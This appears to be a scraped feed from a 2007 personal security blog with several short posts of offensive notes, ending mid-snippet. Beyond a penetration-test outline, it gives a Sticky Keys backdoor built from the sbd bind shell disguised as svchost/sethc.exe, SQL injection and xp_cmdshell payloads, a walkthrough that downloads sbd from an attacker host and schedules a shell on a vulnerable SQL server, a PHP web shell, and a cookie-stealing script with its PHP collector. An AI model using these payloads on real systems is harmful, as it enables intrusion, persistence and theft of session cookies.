Data Base (osvdb) which has come a long way.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-8534535393908706166?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/8534535393908706166/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=8534535393908706166' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/8534535393908706166'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/8534535393908706166'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2007/03/comparing-common-vulnerability-result.html' title='Comparing Common Vulnerability Result Sets'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-8881460013843106000</id><published>2007-03-15T21:06:00.001Z</published><updated>2007-03-23T04:10:52.041Z</updated><title type='text'>Pentest Order of Objects..</title><content type='html'>ISSAF was used in conjuction with the latest backtrack release.&lt;br /&gt;Although it is not my company's standard it is quite close.&lt;br /&gt;&lt;br /&gt;Not to be too open.. but this has lead to a really good idea for object orient coding.&lt;br /&gt;&lt;br /&gt;Information Systems Security Assessment Framework (ISSAF) draft 0.2&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ASSESSMENT &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;INFORMATION GATHERING &lt;/span&gt;&lt;br /&gt;-Archive&lt;br /&gt;   -DNS&lt;br /&gt;   -Route&lt;br /&gt;   -SMTP&lt;br /&gt;   -Searchengine&lt;br /&gt;   -Survey&lt;br /&gt;   -Whois&lt;br /&gt;&lt;span style="font-style: italic;"&gt;NETWORK MAPPING&lt;/span&gt;&lt;br /&gt;   -Identify Live Hosts&lt;br /&gt;   -OS-Fingerprinting&lt;br /&gt;   -Portscanning&lt;br /&gt;   -Service Fingerprinting&lt;br /&gt;   -Identify Border Assets&lt;br /&gt;   -(SNMP - MIB Browsing)&lt;br /&gt;   -(VPN)&lt;br /&gt;   -Web/Public Application Mapping(Crawling)&lt;br /&gt;&lt;span style="font-style: italic;"&gt;VULNERABILITY IDENTIFICATION &lt;/span&gt;&lt;br /&gt;   -(Cisco)&lt;br /&gt;   -Database&lt;br /&gt;   -Fuzzers&lt;br /&gt;   -SMB Analysis&lt;br /&gt;   -SNMP Analysis&lt;br /&gt;   -Security Scanner&lt;br /&gt;   -Web Analysis&lt;br /&gt;&lt;span style="font-style: italic;"&gt;PENETRATION &lt;/span&gt;&lt;br /&gt;-Exploits (metasploit)&lt;br /&gt;&lt;span&gt;-Exploits (CoreImpact / Canvas)&lt;br /&gt;-Exploits (milworm /secfocus)&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;GAINING ACCESS AND PRIVILEGE ESCALATION &lt;/span&gt;&lt;br /&gt;   -Password Attacks&lt;br /&gt;   -Default Conf Attacks&lt;br /&gt;   -Sniffers&lt;br /&gt;   -Spoofing&lt;br /&gt;&lt;span style="font-style: italic;"&gt;ENUMERATING FURTHER &lt;/span&gt;&lt;br /&gt;-Management Infrastructure (ie. WMI,SNMP,CDP)&lt;br /&gt;   -Pull Passwords (hashes, SAM FILES)&lt;br /&gt;   -Priviledged Assessment(Repeat all Steps)&lt;br /&gt;&lt;span style="font-style: italic;"&gt;COMPROMISE REMOTE USERS/SITES&lt;/span&gt;&lt;br /&gt;-Targeted Phishing&lt;br /&gt;   -DNS Poisoning&lt;br /&gt;&lt;span style="font-style: italic;"&gt;MAINTAINING ACCESS&lt;/span&gt;&lt;br /&gt;   -Covert Channels&lt;br /&gt;-Rootkits&lt;br /&gt;   -Portknocking&lt;br /&gt;-Proxy&lt;br /&gt;   -Tunnels&lt;br /&gt;COVER THE TRACKS&lt;br /&gt;-House Cleaning&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-8881460013843106000?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/8881460013843106000/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=8881460013843106000' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/8881460013843106000'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/8881460013843106000'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2007/03/pentest-order-of-ops.html' title='Pentest Order of Objects..'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-5449163049027578264</id><published>2007-03-13T15:51:00.001Z</published><updated>2007-03-15T19:57:54.470Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='cryptcat'/><category scheme='http://www.blogger.com/atom/ns#' term='sbd'/><category scheme='http://www.blogger.com/atom/ns#' term='nc'/><title type='text'>SBD as netcat</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Yeah so I rattle off some SBD stuff sometimes.. Im referring to the netcat clone called sbd. SBD is Shadowinteger's Backdoor located @ &lt;a href='http://tigerteam.se/dl/sbd/'&gt;http://tigerteam.se/dl/sbd/&lt;/a&gt;. This is my perferred "swiss army knife" because of its default configuration of encryption(AES-CBC-128 + HMAC-SHA1 encryption) and dangerous execution binding (-e command). &lt;br&gt;&lt;/br&gt;&lt;br&gt;&lt;/br&gt;Netcat and its NC Clones:&lt;br&gt;&lt;/br&gt;&lt;ul&gt;&lt;li&gt;netcat - "swiss army knife"&lt;/li&gt;&lt;li&gt;&lt;a href='http://tigerteam.se/dl/sbd/'&gt;sbd &amp; sbdbg.exe&lt;/a&gt; - shadowinteger's backdoor&lt;/li&gt;&lt;li&gt;&lt;a href='http://www.deepspace6.net/projects/netcat6.html'&gt;netcat6&lt;/a&gt; - swiss army knife+ for ipv6 &lt;/li&gt;&lt;li&gt;&lt;a href='http://www.farm9.org/Cryptcat/'&gt;cryptcat&lt;/a&gt; - netcat with twofish encryption&lt;/li&gt;&lt;li&gt;&lt;a href='http://www.dest-unreach.org/socat/'&gt;socat&lt;/a&gt; - Multipurpose relay(netcat++) IPV6/SSL Example usage: &lt;br&gt;socat TCP6-LISTEN:8080,reuseaddr,fork PROXY: proxy:www.domain.com:80 &lt;/li&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;Simpler tools:&lt;br&gt;&lt;ul&gt;&lt;li&gt;&lt;a href='http://xfocus.net/tools/200601/nc.pl'&gt;nc.pl&lt;/a&gt; - perl netcat-like implementation&lt;/li&gt;&lt;li&gt;&lt;a href='http://www-user.tu-chemnitz.de/%7Euro/software/netcopy/netcopy.c'&gt;netcopy&lt;/a&gt; - reciever&lt;br&gt;&lt;/br&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://www-user.tu-chemnitz.de/%7Euro/software/netcopy/netsend.c'&gt;netsend&lt;/a&gt; - transmitter for netcopy&lt;/li&gt;&lt;li&gt;&lt;a href='http://www-user.tu-chemnitz.de/%7Euro/software/netcopy/urocat.c'&gt;urocat&lt;/a&gt; - simple cat clone &lt;br&gt;&lt;/br&gt;&lt;/li&gt;&lt;/ul&gt;None of this is news.. I just wanted to point out some of this simple stuff.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-5449163049027578264?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/5449163049027578264'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/5449163049027578264'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2007/03/sbd-as-netcat.html' title='SBD as netcat'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-5699027014102763130</id><published>2007-03-08T19:57:00.001Z</published><updated>2007-03-12T15:03:27.043Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='rootkit'/><category scheme='http://www.blogger.com/atom/ns#' term='services'/><category scheme='http://www.blogger.com/atom/ns#' term='sbd'/><category scheme='http://www.blogger.com/atom/ns#' term='sethc.exe'/><category scheme='http://www.blogger.com/atom/ns#' term='nc'/><title type='text'>sbd fun as a rookit via sethc.exe</title><content type='html'>&lt;span style="font-weight:bold;"&gt;SBD Fun&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Transfering files&lt;br /&gt;&lt;div id="code"&gt;RCV: sbd -l -p 4337 &amp;gt; outputfile&lt;br /&gt;XMIT: cat infile | sbd 127.0.0.1 4337 –q 10&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Transfering files through .tar.gz&lt;br /&gt;&lt;div id="code"&gt;RCV: sbd -l -p 4337 | tar xvfpz –&lt;br /&gt;XMT: tar zcfp - /path/to/directory | sbd -w 3 127.0.0.1 4337&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;PORT Scan: &lt;br /&gt;&lt;div id="code"&gt;echo EXIT | sbd -v -w 1 127.0.0.1 20-250 500-600 5990-7000&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Using Cmd.exe to bind to service&lt;/span&gt;&lt;br /&gt;In my experience this is flaky at best..  &lt;br /&gt;&lt;br /&gt;create then start service:&lt;br /&gt;&lt;div id="code"&gt;sc create testsvc binpath= "cmd /K start" type= interact&lt;br /&gt;sc start testsvc&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Note that this time, the SC START immediately creates a new CMD window, even if the original CMD window failed to start with error 1053 (this is expected since CMD.EXE doesn’t have any service related code in it).&lt;br /&gt;&lt;br /&gt;SCM starts a service&lt;br /&gt;RegisterServiceCtrlHandler API&lt;br /&gt;&lt;br /&gt;We may want to fix any C program to actually handle the correct calls if loading them as a legitimate service.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Simple C++ sbd wrapper&lt;/span&gt;&lt;br /&gt;(Rename sbdbg.exe to svchost in this example.)&lt;br /&gt;&lt;div id="code"&gt;#include &amp;lt;cstdlib&amp;gt;&lt;br /&gt;#include &amp;lt;iostream&amp;gt;&lt;br /&gt;&lt;br /&gt;using namespace std;&lt;br /&gt;&lt;br /&gt;int main(int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt;    // Lets restrict address to localhost only.. pls.&lt;br /&gt;    system("c:\\tmp\\svchost.exe -l -p 4337 -a 127.0.0.1 -e cmd.exe -r0");&lt;br /&gt;    return EXIT_SUCCESS;&lt;br /&gt;}&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Rootkit portion&lt;/span&gt;&lt;br /&gt;Rename output binary to sethc.exe .. works ok.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Prefetch restrictions.&lt;/span&gt;&lt;br /&gt;Remember to delete any exisiting sethc.exe files in c:\windows\prefetch prior to use. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Interesting Note about RDC&lt;/span&gt;&lt;br /&gt;Sticky Keys [left-shift x5](sethc.exe) works through Remote Desktop Connections(RDC/RDP). Funny how suddenly that makes this all the more interesting.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Apparently the SYSTEM Kernel security shuts down all unknown process on sweep @5 minutes into session.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Can there fake handler for WM_CLOSE? or terminate...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-5699027014102763130?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/5699027014102763130/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=5699027014102763130' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/5699027014102763130'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/5699027014102763130'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2007/03/sbd-fun-as-rookit-via-sethcexe.html' title='sbd fun as a rookit via sethc.exe'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-1512250678606047735</id><published>2007-03-07T20:52:00.000Z</published><updated>2007-03-07T21:16:23.795Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='png'/><category scheme='http://www.blogger.com/atom/ns#' term='logging'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='dataleakage'/><title type='text'>PNG Listener w/logger</title><content type='html'>This is an example of a simple PNG listener with a logging mechanism.&lt;br /&gt;(Do I really have to explain how to use this?)&lt;br /&gt;&lt;br /&gt;&lt;div id="code"&gt;&amp;lt;?php                                  &lt;br /&gt;$cookie = $_GET["c"];   &lt;br /&gt;if ($cookie == "init")&lt;br /&gt;{$file = fopen('001.txt', 'w');&lt;br /&gt;fwrite($file, ":: 00* Logger:: \n");&lt;br /&gt;}&lt;br /&gt;else{&lt;br /&gt;$file = fopen('001.txt', 'a');  &lt;br /&gt;fwrite($file, $_SERVER['REMOTE_ADDR']."=&amp;gt;".$cookie . "\n");&lt;br /&gt;}       &lt;br /&gt;header("Content-type: image/png");&lt;br /&gt;$im = imageCreate(1,1);&lt;br /&gt;$background = imageColorAllocate($im, 255, 255, 255);&lt;br /&gt;imagePNG($im);&lt;br /&gt;imageDestroy($im);&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;I developed this snippet while working on a solution for browser history leaks.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-1512250678606047735?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/1512250678606047735/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=1512250678606047735' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/1512250678606047735'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/1512250678606047735'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2007/03/png-listener-wlogger.html' title='PNG Listener w/logger'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-5386163258117277593</id><published>2007-03-07T16:20:00.000Z</published><updated>2007-03-07T17:04:34.810Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='sql'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='blind-injection'/><category scheme='http://www.blogger.com/atom/ns#' term='shell'/><title type='text'>SQL injection and identification</title><content type='html'>&lt;span style="font-weight:bold;"&gt;Identify sql Server through Blind SQL injection &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;http://example.com/index.php?some_var=1/*!40017%20s*/ &lt;br /&gt;&lt;br /&gt;MySQL is at least 4.0.17 if you get a different result.&lt;br /&gt;&lt;br /&gt;## String based (concat ||) ==&gt; PostgreSQL, Oracle&lt;br /&gt;## String based (concat +) ==&gt; MS-SQL, MS-Access&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Normal Union attack&lt;/span&gt;&lt;br /&gt;&lt;div id="code"&gt;$var$quote_type AND 1=1;--&lt;br /&gt;$var$quote_type AND 1=0;--&lt;br /&gt;$var$quote_type union all select $select_statement where 1=0;--&lt;br /&gt;$var$quote_type AND 1=0 union all select $select_statement;--&lt;br /&gt;$var$quote_type AND 1=0 union all select $select_statement union all select $select_statement2;--&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;MS-SQL&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Check if we are admins&lt;br /&gt;&lt;div id="code"&gt;IS_SRVROLEMEMBER(convert(varchar,0x73797361646D696E))&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Check things like&lt;br /&gt;MSSQL_OPENQUERY&lt;br /&gt;&lt;div id="code"&gt;(select 1 from OPENQUERY([$servername],'select 1'))&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;MSSQL_OPENROWSET&lt;br /&gt;&lt;div id="code"&gt;(select 1 from OPENROWSET('SQLOLEDB','';'sa';'$pass','select 1'))&lt;/div&gt;&lt;br /&gt;or&lt;br /&gt;&lt;div id="code"&gt;(select 1 from OPENROWSET('SQLOLEDB','';'$user';'$pass','select 1'))&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;If we have a linked server and sa&lt;br /&gt;&lt;div id="code"&gt;select * from OPENQUERY([TMP],'select 1;exec xp_cmdshell ''osql -E -Q "CREATE TABLE TMP_TMP (id int identity(1,1),cmd varchar(8000))"'';')&lt;br /&gt;select * from OPENQUERY([TMP],'select 1;insert TMP_TMP exec xp_cmdshell ''dir c:\'';')&lt;br /&gt;select count(*) from TMP_TMP&lt;br /&gt;select 1 where 1=(select cmd from TMP_TMP where id=7)&lt;br /&gt;select * from OPENQUERY([TMP],'select 1;exec xp_cmdshell ''osql -E -Q "DROP TABLE TMP_TMP"'';')&lt;/div&gt;&lt;br /&gt;If already sa&lt;br /&gt;&lt;div id="code"&gt;select * from OPENROWSET('MSDASQL','DRIVER={SQL Server};SERVER=;','select @@version')&lt;br /&gt;select * from OPENROWSET('SQLOLEDB','';;,'select @@version')&lt;/div&gt; &lt;br /&gt;Other things todo&lt;br /&gt;&lt;div id="code"&gt;select * from OPENROWSET('MSDASQL','DRIVER={SQL Server};SERVER=;','select 1;exec xp_cmdshell ''osql -E -Q "CREATE TABLE TMP_TMP (id int identity(1,1),cmd varchar(8000))"'';')&lt;br /&gt;select * from OPENROWSET('MSDASQL','DRIVER={SQL Server};SERVER=;','select 1;insert TMP_TMP exec xp_cmdshell ''dir c:\''')&lt;br /&gt;select * from master..TMP_TMP&lt;br /&gt;select * from OPENROWSET('MSDASQL','DRIVER={SQL Server};SERVER=;','select 1;exec xp_cmdshell ''osql -E -Q "DROP TABLE TMP_TMP"'';')&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-5386163258117277593?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/5386163258117277593/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=5386163258117277593' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/5386163258117277593'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/5386163258117277593'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2007/03/sql-injection-and-identification.html' title='SQL injection and identification'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-2500327753873168992</id><published>2007-03-06T22:01:00.000Z</published><updated>2007-03-07T17:05:33.970Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='sql'/><category scheme='http://www.blogger.com/atom/ns#' term='ftp'/><category scheme='http://www.blogger.com/atom/ns#' term='reverse shell'/><category scheme='http://www.blogger.com/atom/ns#' term='injection'/><category scheme='http://www.blogger.com/atom/ns#' term='shell'/><title type='text'>reverse-shell from SQL server</title><content type='html'>So you go the super secret sa password (or they left it blank~?)&lt;br /&gt;&lt;br /&gt;&lt;div id="code"&gt;osql -Daaa -Usa -Psupersecret -Q "[valid sql statement]"&lt;/div&gt;&lt;br /&gt;{SQL template}&lt;br /&gt;&lt;div id="code"&gt;osql -Daaa -Usa -Psupersecret -Q "exec xp_cmdshell '[valid shell commands]'"&lt;/div&gt;&lt;br /&gt;Pull data back to SQL:&lt;br /&gt;&lt;br /&gt;c:\windows\system32\tftp.exe&lt;br /&gt;c:\windows\system32\ftp.exe&lt;br /&gt;&lt;br /&gt;Or be obvious:&lt;br /&gt;&lt;div id="code"&gt;net user add &lt;/div&gt;&lt;br /&gt;On semi-evil box hoster: (Serve TFTP or FTP)&lt;br /&gt;sbdbg.exe&lt;br /&gt;&lt;br /&gt;{SQL template} set up FTP command script:&lt;br /&gt;&lt;div id="code"&gt;ECHO GET sbdbg &amp;gt; script.ftp&lt;br /&gt;ECHO QUIT &amp;gt;&amp;gt; script.ftp&lt;/div&gt;&lt;br /&gt;{SQL template} Execute FTP script: &lt;br /&gt;&lt;div id="code"&gt;FTP -s:script.ftp -A semi.evil.host.ip&lt;/div&gt;&lt;br /&gt;{SQL template} setup reverse shell:&lt;br /&gt;&lt;div id="code"&gt;echo sbdbg.exe -l -p 4337 -e cmd.exe &amp;gt; evil.bat&lt;/div&gt;&lt;br /&gt;{SQL template} get time on server:&lt;br /&gt;Dont forget ICMP timestamp requests instead..&lt;br /&gt;&lt;div id="code"&gt;time&lt;/div&gt;&lt;br /&gt;{SQL template} schedule execution of bat file&lt;br /&gt;&lt;div id="code"&gt;at \\sql.vuln.box\ 04:20 evil.bat&lt;/div&gt;&lt;br /&gt;connect from any.evil.ip &lt;br /&gt;&lt;div id="code"&gt;sbd sql.vuln.box 4337&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-2500327753873168992?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/2500327753873168992/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=2500327753873168992' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/2500327753873168992'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/2500327753873168992'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2007/03/hack-sql-server.html' title='reverse-shell from SQL server'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-3271788584825427046</id><published>2007-03-06T14:59:00.000Z</published><updated>2007-03-06T20:17:17.234Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='nullbyte'/><category scheme='http://www.blogger.com/atom/ns#' term='vbs'/><category scheme='http://www.blogger.com/atom/ns#' term='exploits'/><category scheme='http://www.blogger.com/atom/ns#' term='sbd'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='nc'/><category scheme='http://www.blogger.com/atom/ns#' term='shell'/><category scheme='http://www.blogger.com/atom/ns#' term='imageinclusion'/><category scheme='http://www.blogger.com/atom/ns#' term='asp'/><title type='text'>Just some simple shell notes:</title><content type='html'>&lt;span style="font-weight:bold;"&gt;Image inclusion&lt;/span&gt;&lt;br /&gt;php (serverside - local/remote)&lt;br /&gt; - will parse comments in jpegs during file inclusions/requires&lt;br /&gt;IE (clientside - local)&lt;br /&gt; - will parse files contents of images&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PNG Headers&lt;/span&gt;&lt;br /&gt;&lt;div id="code"&gt;\x89\x50\x4e\x47\x0d\x0a\x1a\x0a &amp;lt;=png Header&lt;br /&gt;\x00\x00\x00\x0d &amp;lt;= Chunksize&lt;br /&gt;\x77\x6f\x6f\x74 &amp;lt;= Chunkid "Woot" &lt;br /&gt;\x00\x00\x00\x01 &amp;lt;= Height&lt;br /&gt;\x00\x00\x00\x01 &amp;lt;= Width&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Comment writers for jpegs&lt;/span&gt;&lt;br /&gt;edjpgcom&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Basic php shell&lt;/span&gt;&lt;br /&gt;&lt;div id="code"&gt;&amp;lt;?php&lt;br /&gt;ob_clean();&lt;br /&gt;system("[command]");&lt;br /&gt;die();&lt;br /&gt;?&amp;gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Using Echo&lt;/span&gt;&lt;br /&gt;For windows:&lt;br /&gt;echo: ^(carrots) are the escape sequence for systemIO redirects.&lt;br /&gt;&lt;div id="code"&gt;echo ^&amp;lt;html^&amp;gt;^&amp;lt;body^&amp;gt;whatever^&amp;lt;/body^&amp;gt;^&amp;lt;/html^&amp;gt; &amp;gt; file.ext&lt;/div&gt;&lt;br /&gt;unix:&lt;br /&gt;write lol from echo with hex (no newline) to file&lt;br /&gt;&lt;div id="code"&gt;echo -en "\x6c\x6f\x6c" &amp;gt; file.ext&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;SBD (netcat style):&lt;/span&gt;&lt;br /&gt;File Recieving&lt;br /&gt;sbd -lvp 1234 &amp;lt; NUL &amp;gt; outfile.ext&lt;br /&gt;Banner Grabbing&lt;br /&gt;sbd -c off -v www.microsoft.com 80&lt;br /&gt;Binding Shell &lt;br /&gt;sbd -lp 4337 -e "cmd.exe /K echo p0wn3d-sh3ll"&lt;br /&gt;&lt;br /&gt;although plink -raw and telnet are not as good they can work.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Play with Cookies&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Simple cookie push&lt;br /&gt;&lt;div id="code"&gt;&amp;lt;script&amp;gt;&lt;br /&gt;window.location = 'http://someplace.com/stealer.php?cookie=' + document.cookie;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Cookie View&lt;br /&gt;&lt;div id="code"&gt;Javascript:alert(document.cookie);&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Manipulate Cookie&lt;br /&gt;&lt;div id="code"&gt;Javascript:void(document.cookie=“variable=value”);&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;stealer.php&lt;br /&gt;&lt;div id="code"&gt;&amp;lt;?php&lt;br /&gt;/*Ethernets Cookie Stealer */&lt;br /&gt;/*Put this up on your free site */&lt;br /&gt;$cookie = $_GET['cookie'];&lt;br /&gt;$log = fopen("cookies11.txt","a");&lt;br /&gt;fwrite($log, $cookie ."\n");&lt;br /&gt;fclose($log);&lt;br /&gt;?&amp;gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Other stealers&lt;br /&gt;&lt;div id="code"&gt;&amp;lt;?php                                   // line 1&lt;br /&gt;$cookie = $_GET["c"];   // line 2&lt;br /&gt;$file = fopen('000.txt', 'a');  // line 3&lt;br /&gt;fwrite($file, $cookie . "\n\n");        // line 4&lt;br /&gt;&lt;br /&gt;global $Redirect;&lt;br /&gt;$Redirect = getenv("HTTP_REFERER");&lt;br /&gt;echo getenv("HTTP_REFERER");&lt;br /&gt;&lt;br /&gt;echo 